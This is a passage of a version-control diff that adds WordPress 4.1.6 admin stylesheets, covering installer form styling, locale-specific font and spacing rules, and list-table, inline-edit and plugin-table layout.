+.form-table code {
+	line-height: 18px;
+	font-size: 14px;
+}
+
+.form-table p {
+	margin: 4px 0 0 0;
+	font-size: 11px;
+}
+
+.form-table input {
+	line-height: 20px;
+	font-size: 15px;
+	padding: 3px 5px;
+	border: 1px solid #ddd;
+	-webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,0.07);
+	box-shadow: inset 0 1px 2px rgba(0,0,0,0.07);
+}
+
+input,
+submit {
+	font-family: "Open Sans", sans-serif;
+}
+
+.form-table input[type=text],
+.form-table input[type=email],
+.form-table input[type=url],
+.form-table input[type=password] {
+	width: 206px;
+}
+
+.form-table th p {
+	font-weight: normal;
+}
+
+.form-table.install-success td {
+	vertical-align: middle;
+	padding: 16px 20px 10px 0;
+}
+
+.form-table.install-success td p {
+	margin: 0;
+	font-size: 14px;
+}
+
+.form-table.install-success td code {
+	margin: 0;
+	font-size: 18px;
+}
+
+#error-page {
+	margin-top: 50px;
+}
+
+#error-page p {
+	font-size: 14px;
+	line-height: 18px;
+	margin: 25px 0 20px;
+}
+
+#error-page code, .code {
+	font-family: Consolas, Monaco, monospace;
+}
+
+#pass-strength-result {
+	background-color: #eee;
+	border-color: #ddd !important;
+	border-style: solid;
+	border-width: 1px;
+	margin: 5px 5px 5px 0;
+	padding: 5px;
+	text-align: center;
+	width: 200px;
+	display: none;
+}
+
+#pass-strength-result.bad {
+	background-color: #ffb78c;
+	border-color: #ff853c !important;
+}
+
+#pass-strength-result.good {
+	background-color: #ffec8b;
+	border-color: #ffcc00 !important;
+}
+
+#pass-strength-result.short {
+	background-color: #ffa0a0;
+	border-color: #f04040 !important;
+}
+
+#pass-strength-result.strong {
+	background-color: #c3ff88;
+	border-color: #8dff1c !important;
+}
+
+.message {
+	border: 1px solid #c00;
+	padding: 0.5em 0.7em;
+	margin: 5px 0 15px;
+	background-color: #ffebe8;
+}
+
+/* @noflip */
+#dbname,
+#uname,
+#pwd,
+#dbhost,
+#prefix,
+#user_login,
+#admin_email,
+#pass1,
+#pass2 {
+	direction: ltr;
+}
+
+
+/* localization */
+body.rtl,
+.rtl textarea,
+.rtl input,
+.rtl submit {
+	font-family: Tahoma, sans-serif;
+}
+
+:lang(he-il) body.rtl,
+:lang(he-il) .rtl textarea,
+:lang(he-il) .rtl input,
+:lang(he-il) .rtl submit {
+	font-family: Arial, sans-serif;
+}
+
+@media only screen and (max-width: 799px) {
+	body {
+		margin-top: 115px;
+	}
+	#logo a {
+		margin: -125px auto 30px;
+	}
+}
+
+@media screen and ( max-width: 782px ) {
+
+	.form-table {
+		margin-top: 0;
+	}
+
+	.form-table th,
+	.form-table td {
+		display: block;
+		width: auto;
+		vertical-align: middle;
+	}
+
+	.form-table th {
+		padding: 20px 0 0;
+	}
+
+	.form-table td {
+		padding: 5px 0;
+		border: 0;
+		margin: 0;
+	}
+
+	textarea,
+	input {
+		font-size: 16px;
+	}
+
+	.form-table td input[type="text"],
+	.form-table td input[type="email"],
+	.form-table td input[type="url"],
+	.form-table td input[type="password"],
+	.form-table td select,
+	.form-table td textarea,
+	.form-table span.description {
+		width: 100%;
+		font-size: 16px;
+		line-height: 1.5;
+		padding: 7px 10px;
+		display: block;
+		max-width: none;
+		-webkit-box-sizing: border-box;
+		-moz-box-sizing: border-box;
+		box-sizing: border-box;
+	}
+
+}
+
+body.language-chooser {
+	max-width: 300px;
+}
+
+.language-chooser select {
+	padding: 8px;
+	width: 100%;
+	display: block;
+	border: 1px solid #ddd;
+	background-color: #fff;
+	color: #333;
+	font-size: 16px;
+	font-family: Arial, sans-serif;
+	font-weight: normal;
+}
+
+.language-chooser p {
+	text-align: right;
+}
+
+.screen-reader-input,
+.screen-reader-text {
+	position: absolute;
+	margin: -1px;
+	padding: 0;
+	height: 1px;
+	width: 1px;
+	overflow: hidden;
+	clip: rect(0 0 0 0);
+	border: 0;
+}
+
+.spinner {
+	background: url(../images/spinner.gif) no-repeat;
+	-webkit-background-size: 20px 20px;
+	background-size: 20px 20px;
+	visibility: hidden;
+	opacity: 0.7;
+	filter: alpha(opacity=70);
+	width: 20px;
+	height: 20px;
+	margin: 2px 5px 0;
+}
+
+.step .spinner {
+	display: inline-block;
+	margin-top: 8px;
+	margin-right: 15px;
+	vertical-align: top;
+}
+
+/**
+ * HiDPI Displays
+ */
+@media print,
+  (-o-min-device-pixel-ratio: 5/4),
+  (-webkit-min-device-pixel-ratio: 1.25),
+  (min-resolution: 120dpi) {
+
+	.spinner {
+		background-image: url(../images/spinner-2x.gif);
+	}
+
+}
Index: /tags/4.1.6/src/wp-admin/css/l10n.css
===================================================================
--- /tags/4.1.6/src/wp-admin/css/l10n.css	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/css/l10n.css	(revision 33402)
@@ -0,0 +1,101 @@
+/*------------------------------------------------------------------------------
+  27.0 - Localization
+------------------------------------------------------------------------------*/
+
+/* RTL except Hebrew (see below): Tahoma as the first font; */
+body.rtl,
+body.rtl .press-this a.wp-switch-editor {
+	font-family: Tahoma, Arial, sans-serif;
+}
+
+
+/* he_IL: Remove Tahoma from the font stack. Arial is best for Hebrew. */
+body.locale-he-il,
+body.locale-he-il .press-this a.wp-switch-editor {
+	font-family: Arial, sans-serif;
+}
+
+/* he_IL: Have <em> be bold rather than italic. */
+.locale-he-il em {
+	font-style: normal;
+	font-weight: bold;
+}
+
+/* zh_CN: Remove italic properties. */
+.locale-zh-cn .howto,
+.locale-zh-cn .tablenav .displaying-num,
+.locale-zh-cn .js .input-with-default-title,
+.locale-zh-cn .link-to-original,
+.locale-zh-cn .inline-edit-row fieldset span.title,
+.locale-zh-cn .inline-edit-row fieldset span.checkbox-title,
+.locale-zh-cn #utc-time,
+.locale-zh-cn #local-time,
+.locale-zh-cn p.install-help,
+.locale-zh-cn p.help,
+.locale-zh-cn p.description,
+.locale-zh-cn span.description,
+.locale-zh-cn .form-wrap p {
+	font-style: normal;
+}
+
+/* zh_CN: Enlarge dashboard widget 'Configure' link */
+.locale-zh-cn .hdnle a { font-size: 12px; }
+
+/* zn_CH: Enlarge font size, set font-size: normal */
+.locale-zh-cn form.upgrade .hint { font-style: normal; font-size: 100%; }
+
+/* Zn_CH: Distraction-free writing.
+ *  More beautiful font for "Just write."
+ *  Larger text for HTML/Visual mode.
+ */
+.locale-zh-cn #wp-fullscreen-tagline { font-family: KaiTi, "楷体", sans-serif; }
+.locale-zh-cn #wp-fullscreen-modes a { font-size: 12px; }
+
+/* zh_CN: Enlarge font-size. */
+.locale-zh-cn #sort-buttons { font-size: 1em !important; }
+
+/* de_DE: Text needs more space for translation */
+.locale-de-de .inline-edit-row fieldset label span.title {
+	width: 7em; /* default 5em */
+}
+.locale-de-de .inline-edit-row fieldset label span.input-text-wrap {
+	margin-left: 7em; /* default 5em */
+}
+.locale-de-de #customize-header-actions .button {
+	padding: 0 5px 1px; /* default 0 10px 1px */
+}
+.locale-de-de #customize-header-actions .spinner {
+	margin: 16px 3px 0; /* default 16px 4px 0 5px */
+}
+
+/* ru_RU: Text needs more room to breathe. */
+.locale-ru-ru .inline-edit-row fieldset label span.title {
+	width: 8em; /* default 5em */
+}
+.locale-ru-ru .inline-edit-row fieldset label span.input-text-wrap {
+	margin-left: 8em; /* default 5em */
+}
+.locale-ru-ru.post-php .tagsdiv .newtag,
+.locale-ru-ru.post-new-php .tagsdiv .newtag {
+	width: 165px; /* default 180px - 15px */
+}
+.locale-ru-ru.press-this .posting {
+	margin-right: 277px; /* default 252px + 25px */
+}
+.locale-ru-ru .press-this-sidebar {
+	width: 265px; /* default 240px + 25px */
+}
+.locale-ru-ru #customize-header-actions .button {
+	padding: 0 5px 1px; /* default 0 10px 1px */
+}
+.locale-ru-ru #customize-header-actions .spinner {
+	margin: 16px 3px 0; /* default 16px 4px 0 5px */
+}
+
+/* lt_LT: QuickEdit */
+.locale-lt-lt .inline-edit-row fieldset label span.title {
+	width: 8em;
+}
+.locale-lt-lt .inline-edit-row fieldset label span.input-text-wrap {
+	margin-left: 8em;
+}
Index: /tags/4.1.6/src/wp-admin/css/list-tables.css
===================================================================
--- /tags/4.1.6/src/wp-admin/css/list-tables.css	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/css/list-tables.css	(revision 33402)
@@ -0,0 +1,1875 @@
+/* List table styles */
+.post-com-count-wrapper {
+	min-width: 22px;
+}
+
+.post-com-count {
+	background: none;
+	height: 1.3em;
+	line-height: 1.1em;
+	display: block;
+	text-decoration: none;
+	padding: 0 0 6px;
+	cursor: pointer;
+	background-position: center -80px;
+	background-repeat: no-repeat;
+	color: #fff;
+}
+
+.post-com-count:after {		/* draw bubble connector using CSS! */
+	content: "";
+	display: block;
+	width: 0;
+	height: 0;
+	margin-left: 8px;
+	border-top: 5px solid #bbb;
+	border-right: 5px solid transparent;
+}
+
+.post-com-count span {
+	font-size: 11px;
+	font-weight: 600;
+	height: 1.4em;
+	line-height: 1.4em;
+	min-width: 0.7em;
+	padding: 0 6px;
+	display: inline-block;
+	-webkit-border-radius: 5px;
+	border-radius: 5px;
+	background-color: #bbb;
+	color: #fff;
+}
+
+.post-com-count:hover {
+	background-position: center -3px;
+}
+
+.post-com-count:hover span {
+	background-color: #2ea2cc;
+}
+
+.post-com-count:hover:after {
+	border-top: 5px solid #2ea2cc;
+}
+
+strong .post-com-count {
+	background-position: center -55px;
+}
+
+strong .post-com-count span {
+	background-color: #0074a2;
+}
+
+strong .post-com-count:after {
+	border-top: 5px solid #0074a2;
+}
+
+.column-response .post-com-count {
+	float: left;
+	margin-right: 5px;
+	text-align: center;
+}
+
+.response-links {
+	float: left;
+}
+
+/* comments */
+
+.commentlist li {
+	padding: 1em 1em .2em;
+	margin: 0;
+	border-bottom: 1px solid #ccc;
+}
+
+.commentlist li li {
+	border-bottom: 0;
+	padding: 0;
+}
+
+.commentlist p {
+	padding: 0;
+	margin: 0 0 .8em;
+}
+
+#submitted-on,
+.submitted-on {
+	color: #777;
+}
+
+/* reply to comments */
+#replyrow td {
+	padding: 2px;
+}
+
+#replysubmit {
+	margin: 0;
+	padding: 0 5px 3px;
+	text-align: center;
+}
+
+#replysubmit .spinner {
+	padding: 2px 0 0;
+	vertical-align: top;
+	float: right;
+}
+
+#replysubmit .button {
+	margin-right: 5px;
+}
+
+#replysubmit .error {
+	color: red;
+	line-height: 21px;
+	text-align: center;
+}
+
+#replyrow h5 {
+	margin: .2em 0 0;
+	padding: 0 5px;
+	line-height: 1.4em;
+	font-size: 1em;
+}
+
+#edithead .inside {
+	float: left;
+	padding: 3px 0 2px 5px;
+	margin: 0;
+	text-align: center;
+}
+
+#edithead .inside input {
+	width: 180px;
+}
+
+#edithead label {
+	padding: 2px 0;
+}
+
+#replycontainer {
+	padding: 5px;
+}
+
+#replycontent {
+	height: 120px;
+	-webkit-box-shadow: none;
+	box-shadow: none;
+}
+
+#replyerror {
+	border-color: #ddd;
+	background-color: #f9f9f9;
+}
+
+/* @todo: is this used? */
+.commentlist .avatar {
+	vertical-align: text-top;
+}
+
+#the-comment-list .attachment-80x60 {
+	padding: 4px 8px;
+}
+
+#the-comment-list tr.undo,
+#the-comment-list div.undo {
+	background-color: #f4f4f4;
+}
+
+#the-comment-list .unapproved th,
+#the-comment-list .unapproved td {
+	background-color: #fef7f1;
+}
+
+#the-comment-list .unapproved th.check-column {
+	border-left: 4px solid #d54e21;
+}
+
+#the-comment-list .unapproved th.check-column input {
+	margin-left: 4px;
+}
+
+#the-comment-list .approve a {
+	color: #006505;
+}
+
+#the-comment-list .unapprove a {
+	color: #d98500;
+}
+
+#the-comment-list th,
+#the-comment-list td {
+	-webkit-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.1);
+	box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.1);
+}
+
+#the-comment-list tr:last-child th,
+#the-comment-list tr:last-child td {
+    -webkit-box-shadow: none;
+    box-shadow: none;
+}
+
+#the-comment-list tr.unapproved + tr.approved th,
+#the-comment-list tr.unapproved + tr.approved td {
+    border-top: 1px solid rgba(0, 0, 0, 0.03);
+}
+
+/* table vim shortcuts */
+.vim-current,
+.vim-current th,
+.vim-current td {
+	background-color: #e4f2fd !important;
+}
+
+th .comment-grey-bubble {
+	height: 16px;
+	width: 16px;
+}
+
+th .comment-grey-bubble:before {
+	content: '\f101';
+	font: normal 20px/.5 'dashicons';
+	speak: none;
+	display: inline-block;
+	padding: 0;
+	top: 4px;
+	left: -4px;
+	position: relative;
+	vertical-align: top;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+	text-decoration: none !important;
+	color: #444;
+}
+
+/*------------------------------------------------------------------------------
+  10.0 - List Posts (/Pages/etc)
+------------------------------------------------------------------------------*/
+
+table.fixed {
+	table-layout: fixed;
+}
+
+.fixed .column-rating,
+.fixed .column-visible {
+	width: 8%;
+}
+
+.fixed .column-posts,
+.fixed .column-date,
+.fixed .column-parent,
+.fixed .column-links,
+.fixed .column-author,
+.fixed .column-format {
+	width: 10%;
+}
+
+.fixed .column-posts {
+    width: 74px;
+}
+
+.fixed .column-comment .comment-author {
+	display: none;
+}
+
+.fixed .column-response,
+.fixed .column-categories,
+.fixed .column-tags,
+.fixed .column-rel,
+.fixed .column-role {
+	width: 15%;
+}
+
+.fixed .column-slug {
+	width: 25%;
+}
+
+.fixed .column-locations {
+	width: 35%;
+}
+
+.fixed .column-comments {
+	width: 4em;
+	padding: 8px 0;
+	text-align: left;
+}
+
+.fixed .column-comments .vers {
+	padding-left: 3px;
+}
+
+.fixed .column-comments a {
+	float: left;
+}
+
+.fixed .column-icon {
+	width: 80px;
+}
+
+/* @todo: pick a consistent list table selector */
+.wp-list-table a {
+	-webkit-transition: none;
+	transition: none;
+}
+
+#the-list tr:last-child td,
+#the-list tr:last-child th {
+	border-bottom: none !important;
+	-webkit-box-shadow: none;
+	box-shadow: none;
+}
+
+#comments-form .fixed .column-author {
+	width: 20%;
+}
+
+#commentsdiv.postbox .inside {
+	margin: 0;
+	padding: 0;
+}
+
+#commentsdiv .inside .row-actions {
+	line-height:18px;
+}
+
+#commentsdiv .inside .column-author {
+	width: 25%;
+}
+
+#commentsdiv .column-comment p {
+	margin: 0.6em 0;
+	padding: 0;
+}
+
+#commentsdiv #replyrow td {
+	padding: 0;
+}
+
+#commentsdiv p {
+	padding: 8px 10px;
+	margin: 0;
+}
+
+#commentsdiv .comments-box {
+	border: 0 none;
+}
+
+#commentsdiv .comments-box thead th {
+	background: transparent;
+	padding: 0 7px 4px;
+	font-style: italic;
+}
+
+#commentsdiv .comments-box tr:last-child td {
+	border-bottom: 0 none;
+}
+
+#commentsdiv .spinner {
+	padding-left: 5px;
+}
+
+.sorting-indicator {
+	display: none;
+	width: 10px;
+	height: 4px;
+	margin-top: 8px;
+	margin-left: 7px;
+}
+
+.sorting-indicator:before {
+	background: none;
+	content: '\f142';
+	font: normal 20px/1 'dashicons';
+	speak: none;
+	display: inline-block;
+	padding: 0;
+	top: -4px;
+	left: -8px;
+	color: #444;
+	line-height: 10px;
+	position: relative;
+	vertical-align: top;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+	text-decoration: none !important;
+	color: #444;
+}
+
+.column-comments .sorting-indicator:before {
+	top: 0;
+	left: -10px;
+}
+
+th.sorted.asc .sorting-indicator:before,
+th.desc:hover span.sorting-indicator:before {
+	content: '\f142';
+}
+
+th.sorted.desc .sorting-indicator:before,
+th.asc:hover span.sorting-indicator:before {
+	content: '\f140';
+}
+
+tr.wp-locked .locked-indicator {
+	margin-left: 6px;
+	height: 20px;
+	width: 16px;
+}
+
+tr.wp-locked .locked-indicator:before {
+	color: #888;
+	content: '\f160';
+	display: inline-block;
+	float: left;
+	font: normal 20px/1 'dashicons';
+	speak: none;
+	vertical-align: middle;
+	margin-left: 0;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+}
+
+tr.wp-locked .check-column label,
+tr.wp-locked .check-column input[type="checkbox"],
+tr.wp-locked .row-actions .inline,
+tr.wp-locked .row-actions .trash {
+	display: none;
+}
+
+tr .locked-info {
+	height: 0;
+	opacity: 0;
+}
+
+tr.wp-locked .locked-info {
+	margin-top: 8px;
+	height: auto;
+	opacity: 1;
+}
+
+.locked-text {
+	vertical-align: top;
+}
+
+tr.locked-info, tr.wp-locked .locked-info {
+	-webkit-transition: height 1s, opacity 0.5s;
+	transition: height 1s, opacity 0.5s;
+}
+
+.fixed .column-comments .sorting-indicator {
+	margin-top: 3px;
+}
+
+#menu-locations-wrap .widefat {
+	width: 60%;
+}
+
+.widefat th.sortable,
+.widefat th.sorted {
+	padding: 0;
+}
+
+th.sortable a,
+th.sorted a {
+	display: block;
+	overflow: hidden;
+	padding: 7px 7px 8px 10px;
+}
+
+th.manage-column a,
+th.sortable a:hover,
+th.sortable a:active,
+th.sortable a:focus {
+	color: #333;
+}
+
+th.sortable a:focus {
+	background: #e1e1e1;
+}
+
+.fixed .column-comments.sortable a,
+.fixed .column-comments.sorted a {
+	padding: 8px 0;
+}
+
+th.sortable a span,
+th.sorted a span {
+	float: left;
+	cursor: pointer;
+}
+
+th.sorted.asc .sorting-indicator,
+th.desc:hover span.sorting-indicator {
+	display: block;
+	background-position: 0 0;
+}
+
+th.sorted.desc .sorting-indicator,
+th.asc:hover span.sorting-indicator {
+	display: block;
+	background-position: -7px 0;
+}
+
+/* Bulk Actions */
+.tablenav-pages a {
+	font-weight: 600;
+	margin-right: 1px;
+	padding: 0 2px;
+}
+.tablenav-pages .current-page {
+	padding-top: 0;
+	text-align: center;
+}
+.tablenav-pages .next-page {
+	margin-left: 2px;
+}
+
+.tablenav a.button-secondary {
+	display: block;
+	margin: 3px 8px 0 0;
+}
+
+.tablenav {
+	clear: both;
+	height: 30px;
+	margin: 6px 0 4px;
+	vertical-align: middle;
+}
+
+.tablenav.themes {
+	max-width: 98%;
+}
+
+.tablenav .tablenav-pages {
+	float: right;
+	display: block;
+	cursor: default;
+	height: 30px;
+	color: #555;
+	line-height: 30px;
+	font-size: 12px;
+}
+
+.tablenav .no-pages,
+.tablenav .one-page .pagination-links {
+	display: none;
+}
+
+.tablenav .tablenav-pages a,
+.tablenav-pages span.current  {
+	text-decoration: none;
+	padding: 3px 6px;
+}
+
+.tablenav .tablenav-pages a {
+	padding: 0 10px 3px;
+	background: #eee;
+	background: rgba( 0, 0, 0, 0.05 );
+	font-size: 16px;
+	font-weight: normal;
+}
+
+.tablenav .tablenav-pages a:hover,
+.tablenav .tablenav-pages a:focus {
+	color: #fff;
+	background: #2ea2cc;
+}
+
+.tablenav .tablenav-pages a.disabled,
+.tablenav .tablenav-pages a.disabled:hover,
+.tablenav .tablenav-pages a.disabled:focus,
+.tablenav .tablenav-pages a.disabled:active {
+	color: #aaa;
+	background: #eee;
+	background: rgba( 0, 0, 0, 0.05 );
+}
+
+.tablenav .displaying-num {
+	margin-right: 2px;
+	color: #777;
+	font-size: 12px;
+	font-style: italic;
+}
+
+.tablenav .actions {
+	overflow: hidden;
+	padding: 2px 8px 0 0;
+}
+
+.wp-filter .actions {
+	display: inline-block;
+	vertical-align: middle;
+}
+
+.tablenav .delete {
+	margin-right: 20px;
+}
+
+/* @todo: unclear if the following tablenav rules are actually used.
+classes exist in paginate_links() but not seen in list table output. */
+.tablenav .dots {
+	border-color: transparent;
+}
+
+.tablenav .next,
+.tablenav .prev {
+	border-color: transparent;
+	color: #0074a2;
+}
+
+.tablenav .next:hover,
+.tablenav .prev:hover {
+	border-color: transparent;
+	color: #2ea2cc;
+}
+
+.tablenav .view-switch {
+	float: right;
+	margin: 5px 16px 0 8px;
+}
+
+.wp-filter .view-switch {
+	display: inline-block;
+	vertical-align: middle;
+	padding: 15px 0;
+	margin: 0 20px 0 0;
+}
+
+.view-switch a {
+	text-decoration: none;
+}
+
+.view-switch > a {
+	display: inline-block;
+	width: 18px;
+	height: 18px;
+}
+
+.view-switch > a:before {
+	color: #bbb;
+	display: inline-block;
+	float: left;
+	font: normal 20px/1 'dashicons';
+	speak: none;
+	vertical-align: middle;
+	margin-left: 0;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+}
+
+.view-switch > .view-list:before {
+	content: '\f163';
+}
+
+.view-switch a:hover:before {
+	color: #727272;
+}
+
+.view-switch a.current:before {
+	color: #0074a2;
+}
+
+.view-switch > a + a {
+	margin-left: 5px;
+}
+
+.view-switch > .view-excerpt:before {
+	content: '\f164';
+}
+
+.view-switch > .view-grid:before {
+	content: '\f509';
+}
+
+.filter {
+	float: left;
+	margin: -5px 0 0 10px;
+}
+
+.filter .subsubsub {
+	margin-left: -10px;
+	margin-top: 13px;
+}
+.screen-per-page {
+	width: 4em;
+}
+
+#posts-filter .wp-filter {
+	margin-bottom: 0;
+}
+
+#posts-filter fieldset {
+	float: left;
+	margin: 0 1.5ex 1em 0;
+	padding: 0;
+}
+
+#posts-filter fieldset legend {
+	padding: 0 0 .2em 1px;
+}
+
+p.pagenav {
+	margin: 0;
+	display: inline;
+}
+
+.pagenav span {
+	font-weight: 600;
+	margin: 0 6px;
+}
+
+.row-title {
+	font-size: 14px !important;
+	font-weight: 600;
+}
+
+.column-comment .comment-author {
+	margin-bottom: 0.6em;
+}
+
+.column-author img,
+.column-username img,
+.column-comment .comment-author img {
+	float: left;
+	margin-right: 10px;
+	margin-top: 1px;
+}
+
+.row-actions {
+	color: #ddd;
+	font-size: 13px;
+	visibility: hidden;
+	padding: 2px 0 0;
+}
+
+tr:hover .row-actions,
+.mobile .row-actions,
+.row-actions.visible,
+div.comment-item:hover .row-actions {
+	visibility: visible;
+}
+
+/* deprecated */
+.row-actions-visible {
+	padding: 2px 0 0;
+}
+
+
+/*------------------------------------------------------------------------------
+  10.1 - Inline Editing
+------------------------------------------------------------------------------*/
+
+/*
+.quick-edit* is for Quick Edit
+.bulk-edit* is for Bulk Edit
+.inline-edit* is for everything
+*/
+
+/*	Layout */
+
+#wpbody-content .inline-edit-row fieldset {
+	font-size: 12px;
+	float: left;
+	margin: 0;
+	padding: 0;
+	width: 100%;
+}
+
+tr.inline-edit-row td,
+#wpbody-content .inline-edit-row fieldset .inline-edit-col {
+	padding: 0 0.5em;
+}
+
+#wpbody-content .quick-edit-row-page fieldset.inline-edit-col-right .inline-edit-col {
+	border-width: 0 0 0 1px;
+	border-style: none none none solid;
+}
+
+#wpbody-content .quick-edit-row-post .inline-edit-col-left {
+	width: 40%;
+}
+
+#wpbody-content .quick-edit-row-post .inline-edit-col-right {
+	width: 39%;
+}
+
+#wpbody-content .inline-edit-row-post .inline-edit-col-center {
+	width: 20%;
+}
+
+#wpbody-content .quick-edit-row-page .inline-edit-col-left {
+	width: 50%;
+}
+
+#wpbody-content .quick-edit-row-page .inline-edit-col-right,
+#wpbody-content .bulk-edit-row-post .inline-edit-col-right {
+	width: 49%;
+}
+
+#wpbody-content .bulk-edit-row .inline-edit-col-left {
+	width: 30%;
+}
+
+#wpbody-content .bulk-edit-row-page .inline-edit-col-right {
+	width: 69%;
+}
+
+#wpbody-content .bulk-edit-row .inline-edit-col-bottom {
+	float: right;
+	width: 69%;
+}
+
+#wpbody-content .inline-edit-row-page .inline-edit-col-right {
+	margin-top: 27px;
+}
+
+.inline-edit-row fieldset .inline-edit-group {
+	clear: both;
+}
+
+.inline-edit-row fieldset .inline-edit-group:after {
+	content: ".";
+	display: block;
+	height: 0;
+	clear: both;
+	visibility: hidden;
+}
+
+.inline-edit-row p.submit {
+	clear: both;
+	padding: 0.5em;
+	margin: 0.5em 0 0;
+}
+
+.inline-edit-row span.error {
+	line-height: 22px;
+	margin: 0 15px;
+	padding: 3px 5px;
+}
+
+/*	Positioning */
+.inline-edit-row h4 {
+	margin: .2em 0;
+	padding: 0;
+	line-height: 23px;
+}
+.inline-edit-row fieldset span.title,
+.inline-edit-row fieldset span.checkbox-title {
+	margin: 0;
+	padding: 0;
+	line-height: 27px;
+}
+
+.inline-edit-row fieldset label,
+.inline-edit-row fieldset span.inline-edit-categories-label {
+	display: block;
+	margin: .2em 0;
+}
+
+.inline-edit-row fieldset label.inline-edit-tags {
+	margin-top: 0;
+}
+
+.inline-edit-row fieldset label.inline-edit-tags span.title {
+	margin: .2em 0;
+	width: auto;
+}
+
+.inline-edit-row fieldset label span.title {
+	display: block;
+	float: left;
+	width: 5em;
+}
+
+.inline-edit-row fieldset label span.input-text-wrap {
+	display: block;
+	margin-left: 5em;
+}
+
+.quick-edit-row-post fieldset.inline-edit-col-right label span.title {
+	width: auto;
+	padding-right: 0.5em;
+}
+
+.inline-edit-row .input-text-wrap input[type=text] {
+	width: 100%;
+}
+
+.inline-edit-row fieldset label input[type=checkbox] {
+	vertical-align: text-bottom;
+}
+
+.inline-edit-row fieldset label textarea {
+	width: 100%;
+	height: 4em;
+}
+
+#wpbody-content .bulk-edit-row fieldset .inline-edit-group label {
+	max-width: 50%;
+}
+
+#wpbody-content .quick-edit-row fieldset .inline-edit-group label.alignleft:first-child {
+	margin-right: 0.5em
+}
+
+.inline-edit-col-right .input-text-wrap input.inline-edit-menu-order-input {
+	width: 6em;
+}
+
+.inline-edit-save .spinner {
+	padding: 4px 10px 0;
+	vertical-align: top;
+	float: right;
+}
+
+/*	Styling */
+.inline-edit-row h4 {
+	text-transform: uppercase;
+}
+
+.inline-edit-row fieldset span.title,
+.inline-edit-row fieldset span.checkbox-title {
+	font-style: italic;
+	line-height: 1.8em;
+}
+
+/*	Specific Elements */
+.inline-edit-row fieldset .inline-edit-date {
+	float: left;
+}
+
+.inline-edit-row fieldset input[name=jj],
+.inline-edit-row fieldset input[name=hh],
+.inline-edit-row fieldset input[name=mn] {
+	font-size: 12px;
+	width: 2.1em;
+}
+
+.inline-edit-row fieldset input[name=aa] {
+	font-size: 12px;
+	width: 3.5em;
+}
+
+.inline-edit-row fieldset label input.inline-edit-password-input {
+	width: 8em;
+}
+
+ul.cat-checklist {
+	height: 12em;
+	border: solid 1px #ddd;
+	overflow-y: scroll;
+	padding: 0 5px;
+	margin: 0;
+	background-color: #fff;
+}
+
+#bulk-titles {
+	display: block;
+	height: 12em;
+	border: 1px solid #ddd;
+	overflow-y: scroll;
+	padding: 0 5px;
+	margin: 0 0 5px;
+}
+
+.inline-edit-row fieldset ul.cat-checklist li,
+.inline-edit-row fieldset ul.cat-checklist input {
+	margin: 0;
+	position: relative; /* RTL fix, #WP27629 */
+}
+
+.inline-edit-row fieldset ul.cat-checklist label,
+.inline-edit-row #bulk-titles div {
+	font-style: normal;
+	font-size: 11px;
+}
+
+.inline-edit-row fieldset label input.inline-edit-menu-order-input {
+	width: 3em;
+}
+
+.inline-edit-row fieldset label input.inline-edit-slug-input {
+	width: 75%;
+}
+
+.inline-edit-row #post_parent,
+.inline-edit-row select[name="page_template"] {
+	max-width: 80%;
+}
+
+.ie8 .inline-edit-row #post_parent,
+.ie8 .inline-edit-row select[name="page_template"] {
+	width: 250px;
+}
+
+.quick-edit-row-post fieldset label.inline-edit-status {
+	float: left;
+}
+
+#bulk-titles {
+	line-height: 140%;
+}
+#bulk-titles div {
+	margin: 0.2em 0.3em;
+}
+
+#bulk-titles div a {
+	cursor: pointer;
+	display: block;
+	float: left;
+	height: 18px;
+	margin: 0 3px 0 -2px;
+	overflow: hidden;
+	position: relative;
+	width: 20px;
+}
+
+#bulk-titles div a:before {
+	position: relative;
+	top: -3px;
+}
+
+/*------------------------------------------------------------------------------
+  17.0 - Plugins
+------------------------------------------------------------------------------*/
+
+.plugins tbody th.check-column,
+.plugins tbody {
+	padding: 8px 0 0 2px;
+}
+
+.plugins tbody th.check-column input[type=checkbox] {
+	margin-top: 4px;
+}
+
+#update-plugins-table tbody td p {
+	margin-top: 0;
+}
+
+#update-plugins-table tbody td p strong {
+	font-size: 14px;
+}
+
+.plugins thead th.check-column,
+.plugins tfoot th.check-column,
+.plugins .inactive th.check-column {
+	padding-left: 6px;
+}
+
+#update-plugins-table thead th.check-column,
+#update-plugins-table tfoot th.check-column {
+	padding-top: 11px;
+}
+
+.plugins,
+.plugins th,
+.plugins td {
+	color: #000;
+}
+
+.plugins tr {
+	background: #fff;
+}
+
+.plugins p {
+	margin: 0 4px;
+	padding: 0;
+}
+
+.plugins .desc p {
+	margin: 0 0 8px;
+}
+
+.plugins td.desc {
+	line-height: 1.5em;
+}
+
+.plugins .desc ul,
+.plugins .desc ol {
+	margin: 0 0 0 2em;
+}
+
+.plugins .desc ul {
+	list-style-type: disc;
+}
+
+.plugins .row-actions {
+	font-size: 13px;
+	padding: 0;
+}
+
+.plugins .inactive td,
+.plugins .inactive th,
+.plugins .active td,
+.plugins .active th {
+	padding: 10px 9px;
+}
+
+.plugins .active td,
+.plugins .active th {
+	background-color: #f7fcfe;
+}
+
+.plugins .update th,
+.plugins .update td {
+	border-bottom: 0;
+}
+
+.plugin-update-tr td {
+	border-top: 0;
+}
+
+.plugins .inactive td,
+.plugins .inactive th,
+.plugins .active td,
+.plugins .active th,
+.plugin-install #the-list td,
+.upgrade .plugins td,
+.upgrade .plugins th {
+	-webkit-box-shadow: inset 0 -1px 0 rgba(0,0,0,0.1);
+	box-shadow: inset 0 -1px 0 rgba(0,0,0,0.1);
+}
+
+.plugins tr.active.plugin-update-tr + tr.inactive th,
+.plugins tr.active.plugin-update-tr + tr.inactive td,
+.plugins tr.active + tr.inactive th,
+.plugins tr.active + tr.inactive td {
+	border-top: 1px solid rgba(0,0,0,0.03);
+	-webkit-box-shadow: inset 0 1px 0 rgba(0,0,0,0.02), inset 0 -1px 0 #e1e1e1;
+	box-shadow: inset 0 1px 0 rgba(0,0,0,0.02), inset 0 -1px 0 #e1e1e1;
+}
+
+.plugins .update td,
+.plugins .update th,
+.upgrade .plugins tr:last-of-type td,
